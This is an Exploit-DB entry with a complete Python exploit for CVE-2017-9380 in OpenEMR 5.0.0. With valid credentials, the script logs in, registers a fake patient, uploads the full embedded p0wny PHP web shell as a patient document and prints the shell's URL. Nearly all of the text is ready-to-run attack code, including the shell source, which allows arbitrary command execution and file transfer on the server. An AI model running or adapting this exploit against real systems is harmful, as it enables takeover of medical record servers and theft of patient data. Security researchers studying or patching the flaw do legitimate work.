OpenEMR 5.0.0 - Remote Code Execution (Authenticated)

EDB-ID:

49983


Author:

Ron Jost

Type:

webapps


Platform:

PHP

Date:

2021-06-11


# Exploit Title: OpenEMR 5.0.0 - Remote Code Execution (Authenticated)
# Date 10.06.2021
# Exploit Author: Ron Jost (Hacker5preme)
# Vendor Homepage: https://www.open-emr.org/
# Software Link: https://sourceforge.net/projects/openemr/files/OpenEMR%20Current/5.0.0/openemr-5.0.0.zip/download
# Version: 5.0.0
# Tested on: Windows 10
# CVE: CVE-2017-9380
# Documentation: https://github.com/Hacker5preme/Exploits#cve-2017-9380-exploit

'''
Description:
The OpenEMR application allows users from all roles to upload files. However, the application does not whitelist only
certain type of files (e.g. PDF, JPG, PNG, DOCX, etc). At the contary, any type of files can be uploaded to the
filesystem via the application. While OpenEMR recommends during the installation to restrict access to the repository
hosting uploaded files, unfortunately, such recommendations are too often ignored by users and can result in full
compromise of the web server and its data.
'''


'''
Import required modules:
'''
import argparse
import requests
import string
import random


'''
User-Input:
'''
my_parser = argparse.ArgumentParser(description='Exploit for CVE-2017-9380')
my_parser.add_argument('-T', '--IP', type=str)
my_parser.add_argument('-P', '--PORT', type=str)
my_parser.add_argument('-U', '--PATH', type=str)
my_parser.add_argument('-u', '--USERNAME', type=str)
my_parser.add_argument('-p', '--PASSWORD', type=str)
args = my_parser.parse_args()
target_ip = args.IP
target_port = args.PORT
openemr_path = args.PATH
username = args.USERNAME
password = args.PASSWORD


'''
Exploit:
'''
# Authentication preparation:
session = requests.Session()
auth_url = 'http://' + target_ip + ':' + target_port + openemr_path + '/interface/main/main_screen.php?auth=login&site=default'
auth_chek_url = 'http://' + target_ip + ':' + target_port + openemr_path + '/interface/login/login.php?site=default'
response = session.get(auth_chek_url)

# Header (auth):
header = {
    'Host': target_ip,
    'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    'Accept-Language': 'de,en-US;q=0.7,en;q=0.3',
    'Accept-Encoding': 'gzip, deflate',
    'Content-Type': 'application/x-www-form-urlencoded',
    'Origin': 'http://' + target_ip,
    'Connection': 'close',
    'Referer': auth_chek_url,
    'Upgrade-Insecure-Requests': '1',
}

# Body (auth):
body = {
    'new_login_session_management': '1',
    'authProvider': 'Default',
    'authUser': username,
    'clearPass': password,
    'languageChoice': '1'
}

# Authenticate:
print('')
print('[+] Authentication')
auth = session.post(auth_url,headers=header, data=body)

# Create random patient name:
letters_up = string.ascii_uppercase
letters_down = string.ascii_lowercase
first_name = ''.join(random.choice(letters_up)) + ''.join(random.choice(letters_down) for i in range(10))
surname = ''.join(random.choice(letters_up)) + ''.join(random.choice(letters_down) for i in range(7))
print('')
print('[+] Creating patient name randomly:')
print('    [*] First Name: ' + first_name)
print('    [*] Surname: ' + surname)

# Registration preparation:
url_reg = 'http://' + target_ip + ':' + target_port + openemr_path + 'interface/new/new_comprehensive_save.php'

# Header (registration):
header = {
    'Host': target_ip,
    'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    'Accept-Language': 'de,en-US;q=0.7,en;q=0.3',
    'Accept-Encoding': 'gzip, deflate',
    'Content-Type': 'application/x-www-form-urlencoded',
    'Origin': 'http://' + target_ip,
    'Connection': 'close',
    'Referer': 'http://' + target_ip + ':' + target_port + openemr_path + 'interface/new/new.php',
    'Upgrade-Insecure-Requests': '1'
}
body = {
    'form_cb_1': '1',
    'form_title': 'Mr.',
    'form_fname': first_name,
    'form_mname': '',
    'form_lname': surname,
    'form_pubpid': '',
    'form_DOB': '2021-05-04',
    'form_sex': 'Male',
    'form_ss': '',
    'form_drivers_license': '',
    'form_status': '',
    'form_genericname1': '',
    'form_genericval1': '',
    'form_genericname2': '',
    'form_genericval2': '',
    'form_billing_note': '',
    'form_street': '',
    'form_city': '',
    'form_state': '',
    'form_postal_code': '',
    'form_county': '',
    'form_country_code': '',
    'form_mothersname': '',
    'form_contact_relationship': '',
    'form_phone_contact': '',
    'form_phone_home': '',
    'form_phone_biz': '',
    'form_phone_cell': '',
    'form_email': '',
    'form_email_direct': '',
    'form_providerID': '',
    'form_ref_providerID': '',
    'form_pharmacy_id': '0',
    'form_hipaa_notice': '',
    'form_hipaa_voice': '',
    'form_hipaa_message': '',
    'form_hipaa_mail': '',
    'form_hipaa_allowsms': '',
    'form_hipaa_allowemail': '',
    'form_allow_imm_reg_use': '',
    'form_allow_imm_info_share': '',
    'form_allow_health_info_ex': '',
    'form_allow_patient_portal': '',
    'form_care_team': '',
    'form_cmsportal_login': '',
    'form_imm_reg_status': '',
    'form_imm_reg_stat_effdate': '',
    'form_publicity_code': '',
    'form_publ_code_eff_date': '',
    'form_protect_indicator': '',
    'form_prot_indi_effdate': '',
    'form_industry': '',
    'form_occupation': '',
    'form_em_name': '',
    'form_em_street': '',
    'form_em_city': '',
    'form_em_state': '',
    'form_em_postal_code': '',
    'form_em_country': '',
    'form_language': '',
    'form_ethnicity': '',
    'form_family_size': '',
    'form_financial_review': '',
    'form_monthly_income': '',
    'form_homeless': '',
    'form_interpretter': '',
    'form_migrantseasonal': '',
    'form_referral_source': '',
    'form_vfc': '',
    'form_religion': '',
    'form_deceased_date': '',
    'form_deceased_reason': '',
    'form_guardiansname': '',
    'form_guardianrelationship': '',
    'form_guardiansex': '',
    'form_guardianaddress': '',
    'form_guardiancity': '',
    'form_guardianstate': '',
    'form_guardianpostalcode': '',
    'form_guardiancountry': '',
    'form_guardianphone': '',
    'form_guardianworkphone': '',
    'form_guardianemail': '',
    'i1provider': '',
    'i1plan_name': '',
    'i1effective_date': '',
    'i1policy_number': '',
    'i1group_number': '',
    'i1subscriber_employer': '',
    'i1subscriber_employer_street': '',
    'i1subscriber_employer_city': '',
    'form_i1subscriber_employer_state': '',
    'i1subscriber_employer_postal_code': '',
    'form_i1subscriber_employer_country': '',
    'i1subscriber_fname': '',
    'i1subscriber_mname': '',
    'i1subscriber_lname': '',
    'form_i1subscriber_relationship': '',
    'i1subscriber_DOB': '',
    'i1subscriber_ss': '',
    'form_i1subscriber_sex': '',
    'i1subscriber_street': '',
    'i1subscriber_city': '',
    'form_i1subscriber_state': '',
    'i1subscriber_postal_code': '',
    'form_i1subscriber_country': '',
    'i1subscriber_phone': '',
    'i1copay': '',
    'i1accept_assignment': 'TRUE',
    'i2provider': '',
    'i2plan_name': '',
    'i2effective_date': '',
    'i2policy_number': '',
    'i2group_number': '',
    'i2subscriber_employer': '',
    'i2subscriber_employer_street': '',
    'i2subscriber_employer_city': '',
    'form_i2subscriber_employer_state': '',
    'i2subscriber_employer_postal_code': '',
    'form_i2subscriber_employer_country': '',
    'i2subscriber_fname': '',
    'i2subscriber_mname': '',
    'i2subscriber_lname': '',
    'form_i2subscriber_relationship': '',
    'i2subscriber_DOB': '',
    'i2subscriber_ss': '',
    'form_i2subscriber_sex': '',
    'i2subscriber_street': '',
    'i2subscriber_city': '',
    'form_i2subscriber_state': '',
    'i2subscriber_postal_code': '',
    'form_i2subscriber_country': '',
    'i2subscriber_phone': '',
    'i2copay': '',
    'i2accept_assignment': 'TRUE',
    'i3provider': '',
    'i3plan_name': '',
    'i3effective_date': '',
    'i3policy_number': '',
    'i3group_number': '',
    'i3subscriber_employer': '',
    'i3subscriber_employer_street': '',
    'i3subscriber_employer_city': '',
    'form_i3subscriber_employer_state': '',
    'i3subscriber_employer_postal_code': '',
    'form_i3subscriber_employer_country': '',
    'i3subscriber_fname': '',
    'i3subscriber_mname': '',
    'i3subscriber_lname': '',
    'form_i3subscriber_relationship': '',
    'i3subscriber_DOB': '',
    'i3subscriber_ss': '',
    'form_i3subscriber_sex': '',
    'i3subscriber_street': '',
    'i3subscriber_city': '',
    'form_i3subscriber_state': '',
    'i3subscriber_postal_code': '',
    'form_i3subscriber_country': '',
    'i3subscriber_phone': '',
    'i3copay': '',
    'i3accept_assignment': 'TRUE'}

print('')
print('[+] Registering patient:')
x = session.post(url_reg, headers=header, data=body).text

# Get Patient-ID:
id = x[(x.find('pid=')+4):x.find('&')]
print('    [*] ID-NUMBER: ' + id)

# Construct upload URL:
url_upload = 'http://' + target_ip + ':' + target_port + openemr_path + '/controller.php?document&upload&patient_id=' + id + '&parent_id=1&"'

# Header (upload):
header = {
    "User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
    "Accept-Language": "de,en-US;q=0.7,en;q=0.3",
    "Accept-Encoding": "gzip, deflate",
    "Content-Type": "multipart/form-data; boundary=---------------------------370797319835249590062969815666",
    "Origin": 'http://' + target_ip,
    "Connection": "close",
    "Referer": url_upload,
    "Upgrade-Insecure-Requests": "1"
}

# Body (shell); I'm using p0wny shell: https://github.com/flozz/p0wny-shell
body = "-----------------------------370797319835249590062969815666\r\nContent-Disposition: form-data; name=\"MAX_FILE_SIZE\"\r\n\r\n64000000\r\n-----------------------------370797319835249590062969815666\r\nContent-Disposition: form-data; name=\"file[]\"; filename=\"shell.php\"\r\nContent-Type: application/x-php\r\n\r\n<?php\n\nfunction featureShell($cmd, $cwd) {\n    $stdout = array();\n\n    if (preg_match(\"/^\\s*cd\\s*$/\", $cmd)) {\n        // pass\n    } elseif (preg_match(\"/^\\s*cd\\s+(.+)\\s*(2>&1)?$/\", $cmd)) {\n        chdir($cwd);\n        preg_match(\"/^\\s*cd\\s+([^\\s]+)\\s*(2>&1)?$/\", $cmd, $match);\n        chdir($match[1]);\n    } elseif (preg_match(\"/^\\s*download\\s+[^\\s]+\\s*(2>&1)?$/\", $cmd)) {\n        chdir($cwd);\n        preg_match(\"/^\\s*download\\s+([^\\s]+)\\s*(2>&1)?$/\", $cmd, $match);\n        return featureDownload($match[1]);\n    } else {\n        chdir($cwd);\n        exec($cmd, $stdout);\n    }\n\n    return array(\n        \"stdout\" => $stdout,\n        \"cwd\" => getcwd()\n    );\n}\n\nfunction featurePwd() {\n    return array(\"cwd\" => getcwd());\n}\n\nfunction featureHint($fileName, $cwd, $type) {\n    chdir($cwd);\n    if ($type == 'cmd') {\n        $cmd = \"compgen -c $fileName\";\n    } else {\n        $cmd = \"compgen -f $fileName\";\n    }\n    $cmd = \"/bin/bash -c \\\"$cmd\\\"\";\n    $files = explode(\"\\n\", shell_exec($cmd));\n    return array(\n        'files' => $files,\n    );\n}\n\nfunction featureDownload($filePath) {\n    $file = @file_get_contents($filePath);\n    if ($file === FALSE) {\n        return array(\n            'stdout' => array('File not found / no read permission.'),\n            'cwd' => getcwd()\n        );\n    } else {\n        return array(\n            'name' => basename($filePath),\n            'file' => base64_encode($file)\n        );\n    }\n}\n\nfunction featureUpload($path, $file, $cwd) {\n    chdir($cwd);\n    $f = @fopen($path, 'wb');\n    if ($f === FALSE) {\n        return array(\n            'stdout' => array('Invalid path / no write permission.'),\n            'cwd' => getcwd()\n        );\n    } else {\n        fwrite($f, base64_decode($file));\n        fclose($f);\n        return array(\n            'stdout' => array('Done.'),\n            'cwd' => getcwd()\n        );\n    }\n}\n\nif (isset($_GET[\"feature\"])) {\n\n    $response = NULL;\n\n    switch ($_GET[\"feature\"]) {\n        case \"shell\":\n            $cmd = $_POST['cmd'];\n            if (!preg_match('/2>/', $cmd)) {\n                $cmd .= ' 2>&1';\n            }\n            $response = featureShell($cmd, $_POST[\"cwd\"]);\n            break;\n        case \"pwd\":\n            $response = featurePwd();\n            break;\n        case \"hint\":\n            $response = featureHint($_POST['filename'], $_POST['cwd'], $_POST['type']);\n            break;\n        case 'upload':\n            $response = featureUpload($_POST['path'], $_POST['file'], $_POST['cwd']);\n    }\n\n    header(\"Content-Type: application/json\");\n    echo json_encode($response);\n    die();\n}\n\n?><!DOCTYPE html>\n\n<html>\n\n    <head>\n        <meta charset=\"UTF-8\" />\n        <title>p0wny@shell:~#</title>\n        <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\" />\n        <style>\n            html, body {\n                margin: 0;\n                padding: 0;\n                background: #333;\n                color: #eee;\n                font-family: monospace;\n            }\n\n            *::-webkit-scrollbar-track {\n                border-radius: 8px;\n                background-color: #353535;\n            }\n\n            *::-webkit-scrollbar {\n                width: 8px;\n                height: 8px;\n            }\n\n            *::-webkit-scrollbar-thumb {\n                border-radius: 8px;\n                -webkit-box-shadow: inset 0 0 6px rgba(0,0,0,.3);\n                background-color: #bcbcbc;\n            }\n\n            #shell {\n                background: #222;\n                max-width: 800px;\n                margin: 50px auto 0 auto;\n                box-shadow: 0 0 5px rgba(0, 0, 0, .3);\n                font-size: 10pt;\n                display: flex;\n                flex-direction: column;\n                align-items: stretch;\n            }\n\n            #shell-content {\n                height: 500px;\n                overflow: auto;\n                padding: 5px;\n                white-space: pre-wrap;\n                flex-grow: 1;\n            }\n\n            #shell-logo {\n                font-weight: bold;\n                color: #FF4180;\n                text-align: center;\n            }\n\n            @media (max-width: 991px) {\n                #shell-logo {\n                    font-size: 6px;\n                    margin: -25px 0;\n                }\n\n                html, body, #shell {\n                    height: 100%;\n                    width: 100%;\n                    max-width: none;\n                }\n\n                #shell {\n                    margin-top: 0;\n                }\n            }\n\n            @media (max-width: 767px) {\n                #shell-input {\n                    flex-direction: column;\n                }\n            }\n\n            @media (max-width: 320px) {\n                #shell-logo {\n                    font-size: 5px;\n                }\n            }\n\n            .shell-prompt {\n                font-weight: bold;\n                color: #75DF0B;\n            }\n\n            .shell-prompt > span {\n                color: #1BC9E7;\n            }\n\n            #shell-input {\n                display: flex;\n                box-shadow: 0 -1px 0 rgba(0, 0, 0, .3);\n                border-top: rgba(255, 255, 255, .05) solid 1px;\n            }\n\n            #shell-input > label {\n                flex-grow: 0;\n                display: block;\n                padding: 0 5px;\n                height: 30px;\n                line-height: 30px;\n            }\n\n            #shell-input #shell-cmd {\n                height: 30px;\n                line-height: 30px;\n                border: none;\n                background: transparent;\n                color: #eee;\n                font-family: monospace;\n                font-size: 10pt;\n                width: 100%;\n                align-self: center;\n            }\n\n            #shell-input div {\n                flex-grow: 1;\n                align-items: stretch;\n            }\n\n            #shell-input input {\n                outline: none;\n            }\n        </style>\n\n        <script>\n            var CWD = null;\n            var commandHistory = [];\n            var historyPosition = 0;\n            var eShellCmdInput = null;\n            var eShellContent = null;\n\n            function _insertCommand(command) {\n                eShellContent.innerHTML += \"\\n\\n\";\n                eShellContent.innerHTML += '<span class=\\\"shell-prompt\\\">' + genPrompt(CWD) + '</span> ';\n                eShellContent.innerHTML += escapeHtml(command);\n                eShellContent.innerHTML += \"\\n\";\n                eShellContent.scrollTop = eShellContent.scrollHeight;\n            }\n\n            function _insertStdout(stdout) {\n                eShellContent.innerHTML += escapeHtml(stdout);\n                eShellContent.scrollTop = eShellContent.scrollHeight;\n            }\n\n            function _defer(callback) {\n                setTimeout(callback, 0);\n            }\n\n            function featureShell(command) {\n\n                _insertCommand(command);\n                if (/^\\s*upload\\s+[^\\s]+\\s*$/.test(command)) {\n                    featureUpload(command.match(/^\\s*upload\\s+([^\\s]+)\\s*$/)[1]);\n                } else if (/^\\s*clear\\s*$/.test(command)) {\n                    // Backend shell TERM environment variable not set. Clear command history from UI but keep in buffer\n                    eShellContent.innerHTML = '';\n                } else {\n                    makeRequest(\"?feature=shell\", {cmd: command, cwd: CWD}, function (response) {\n                        if (response.hasOwnProperty('file')) {\n                            featureDownload(response.name, response.file)\n                        } else {\n                            _insertStdout(response.stdout.join(\"\\n\"));\n                            updateCwd(response.cwd);\n                        }\n                    });\n                }\n            }\n\n            function featureHint() {\n                if (eShellCmdInput.value.trim().length === 0) return;  // field is empty -> nothing to complete\n\n                function _requestCallback(data) {\n                    if (data.files.length <= 1) return;  // no completion\n\n                    if (data.files.length === 2) {\n                        if (type === 'cmd') {\n                            eShellCmdInput.value = data.files[0];\n                        } else {\n                            var currentValue = eShellCmdInput.value;\n                            eShellCmdInput.value = currentValue.replace(/([^\\s]*)$/, data.files[0]);\n                        }\n                    } else {\n                        _insertCommand(eShellCmdInput.value);\n                        _insertStdout(data.files.join(\"\\n\"));\n                    }\n                }\n\n                var currentCmd = eShellCmdInput.value.split(\" \");\n                var type = (currentCmd.length === 1) ? \"cmd\" : \"file\";\n                var fileName = (type === \"cmd\") ? currentCmd[0] : currentCmd[currentCmd.length - 1];\n\n                makeRequest(\n                    \"?feature=hint\",\n                    {\n                        filename: fileName,\n                        cwd: CWD,\n                        type: type\n                    },\n                    _requestCallback\n                );\n\n            }\n\n            function featureDownload(name, file) {\n                var element = document.createElement('a');\n                element.setAttribute('href', 'data:application/octet-stream;base64,' + file);\n                element.setAttribute('download', name);\n                element.style.display = 'none';\n                document.body.appendChild(element);\n                element.click();\n                document.body.removeChild(element);\n                _insertStdout('Done.');\n            }\n\n            function featureUpload(path) {\n                var element = document.createElement('input');\n                element.setAttribute('type', 'file');\n                element.style.display = 'none';\n                document.body.appendChild(element);\n                element.addEventListener('change', function () {\n                    var promise = getBase64(element.files[0]);\n                    promise.then(function (file) {\n                        makeRequest('?feature=upload', {path: path, file: file, cwd: CWD}, function (response) {\n                            _insertStdout(response.stdout.join(\"\\n\"));\n                            updateCwd(response.cwd);\n                        });\n                    }, function () {\n                        _insertStdout('An unknown client-side error occurred.');\n                    });\n                });\n                element.click();\n                document.body.removeChild(element);\n            }\n\n            function getBase64(file, onLoadCallback) {\n                return new Promise(function(resolve, reject) {\n                    var reader = new FileReader();\n                    reader.onload = function() { resolve(reader.result.match(/base64,(.*)$/)[1]); };\n                    reader.onerror = reject;\n                    reader.readAsDataURL(file);\n                });\n            }\n\n            function genPrompt(cwd) {\n                cwd = cwd || \"~\";\n                var shortCwd = cwd;\n                if (cwd.split(\"/\").length > 3) {\n                    var splittedCwd = cwd.split(\"/\");\n                    shortCwd = \"\xe2\x80\xa6/\" + splittedCwd[splittedCwd.length-2] + \"/\" + splittedCwd[splittedCwd.length-1];\n                }\n                return \"p0wny@shell:<span title=\\\"\" + cwd + \"\\\">\" + shortCwd + \"</span>#\";\n            }\n\n            function updateCwd(cwd) {\n                if (cwd) {\n                    CWD = cwd;\n                    _updatePrompt();\n                    return;\n                }\n                makeRequest(\"?feature=pwd\", {}, function(response) {\n                    CWD = response.cwd;\n                    _updatePrompt();\n                });\n\n            }\n\n            function escapeHtml(string) {\n                return string\n                    .replace(/&/g, \"&\")\n                    .replace(/</g, \"<\")\n                    .replace(/>/g, \">\");\n            }\n\n            function _updatePrompt() {\n                var eShellPrompt = document.getElementById(\"shell-prompt\");\n                eShellPrompt.innerHTML = genPrompt(CWD);\n            }\n\n            function _onShellCmdKeyDown(event) {\n                switch (event.key) {\n                    case \"Enter\":\n                        featureShell(eShellCmdInput.value);\n                        insertToHistory(eShellCmdInput.value);\n                        eShellCmdInput.value = \"\";\n                        break;\n                    case \"ArrowUp\":\n                        if (historyPosition > 0) {\n                            historyPosition--;\n                            eShellCmdInput.blur();\n                            eShellCmdInput.value = commandHistory[historyPosition];\n                            _defer(function() {\n                                eShellCmdInput.focus();\n                            });\n                        }\n                        break;\n                    case \"ArrowDown\":\n                        if (historyPosition >= commandHistory.length) {\n                            break;\n                        }\n                        historyPosition++;\n                        if (historyPosition === commandHistory.length) {\n                            eShellCmdInput.value = \"\";\n                        } else {\n                            eShellCmdInput.blur();\n                            eShellCmdInput.focus();\n                            eShellCmdInput.value = commandHistory[historyPosition];\n                        }\n                        break;\n                    case 'Tab':\n                        event.preventDefault();\n                        featureHint();\n                        break;\n                }\n            }\n\n            function insertToHistory(cmd) {\n                commandHistory.push(cmd);\n                historyPosition = commandHistory.length;\n            }\n\n            function makeRequest(url, params, callback) {\n                function getQueryString() {\n                    var a = [];\n                    for (var key in params) {\n                        if (params.hasOwnProperty(key)) {\n                            a.push(encodeURIComponent(key) + \"=\" + encodeURIComponent(params[key]));\n                        }\n                    }\n                    return a.join(\"&\");\n                }\n                var xhr = new XMLHttpRequest();\n                xhr.open(\"POST\", url, true);\n                xhr.setRequestHeader(\"Content-Type\", \"application/x-www-form-urlencoded\");\n                xhr.onreadystatechange = function() {\n                    if (xhr.readyState === 4 && xhr.status === 200) {\n                        try {\n                            var responseJson = JSON.parse(xhr.responseText);\n                            callback(responseJson);\n                        } catch (error) {\n                            alert(\"Error while parsing response: \" + error);\n                        }\n                    }\n                };\n                xhr.send(getQueryString());\n            }\n\n            document.onclick = function(event) {\n                event = event || window.event;\n                var selection = window.getSelection();\n                var target = event.target || event.srcElement;\n\n                if (target.tagName === \"SELECT\") {\n                    return;\n                }\n\n                if (!selection.toString()) {\n                    eShellCmdInput.focus();\n                }\n            };\n\n            window.onload = function() {\n                eShellCmdInput = document.getElementById(\"shell-cmd\");\n                eShellContent = document.getElementById(\"shell-content\");\n                updateCwd();\n                eShellCmdInput.focus();\n            };\n        </script>\n    </head>\n\n    <body>\n        <div id=\"shell\">\n            <pre id=\"shell-content\">\n                <div id=\"shell-logo\">\n        ___                         ____      _          _ _        _  _   <span></span>\n _ __  / _ \\__      ___ __  _   _  / __ \\ ___| |__   ___| | |_ /\\/|| || |_ <span></span>\n| '_ \\| | | \\ \\ /\\ / / '_ \\| | | |/ / _` / __| '_ \\ / _ \\ | (_)/\\/_  ..  _|<span></span>\n| |_) | |_| |\\ V  V /| | | | |_| | | (_| \\__ \\ | | |  __/ | |_   |_      _|<span></span>\n| .__/ \\___/  \\_/\\_/ |_| |_|\\__, |\\ \\__,_|___/_| |_|\\___|_|_(_)    |_||_|  <span></span>\n|_|                         |___/  \\____/                                  <span></span>\n                </div>\n            </pre>\n            <div id=\"shell-input\">\n                <label for=\"shell-cmd\" id=\"shell-prompt\" class=\"shell-prompt\">???</label>\n                <div>\n                    <input id=\"shell-cmd\" name=\"cmd\" onkeydown=\"_onShellCmdKeyDown(event)\"/>\n                </div>\n            </div>\n        </div>\n    </body>\n\n</html>\n\r\n-----------------------------370797319835249590062969815666\r\nContent-Disposition: form-data; name=\"destination\"\r\n\r\n\r\n-----------------------------370797319835249590062969815666\r\nContent-Disposition: form-data; name=\"patient_id\"\r\n\r\n4\r\n-----------------------------370797319835249590062969815666\r\nContent-Disposition: form-data; name=\"category_id\"\r\n\r\n4\r\n-----------------------------370797319835249590062969815666\r\nContent-Disposition: form-data; name=\"process\"\r\n\r\ntrue\r\n-----------------------------370797319835249590062969815666--\r\n"

# Exploit
x = session.post(url_upload, headers=header,data=body).text
print('')
print('[+] Uploading your Webshell')
b = x[x.find('documents/') + 10:]
c = b[:b.find('<')]
webshellpath = 'http://' + target_ip + ':' + target_port + openemr_path + '/sites/default/documents/' + c
print('    [*] Webshell: ' + webshellpath)
print('')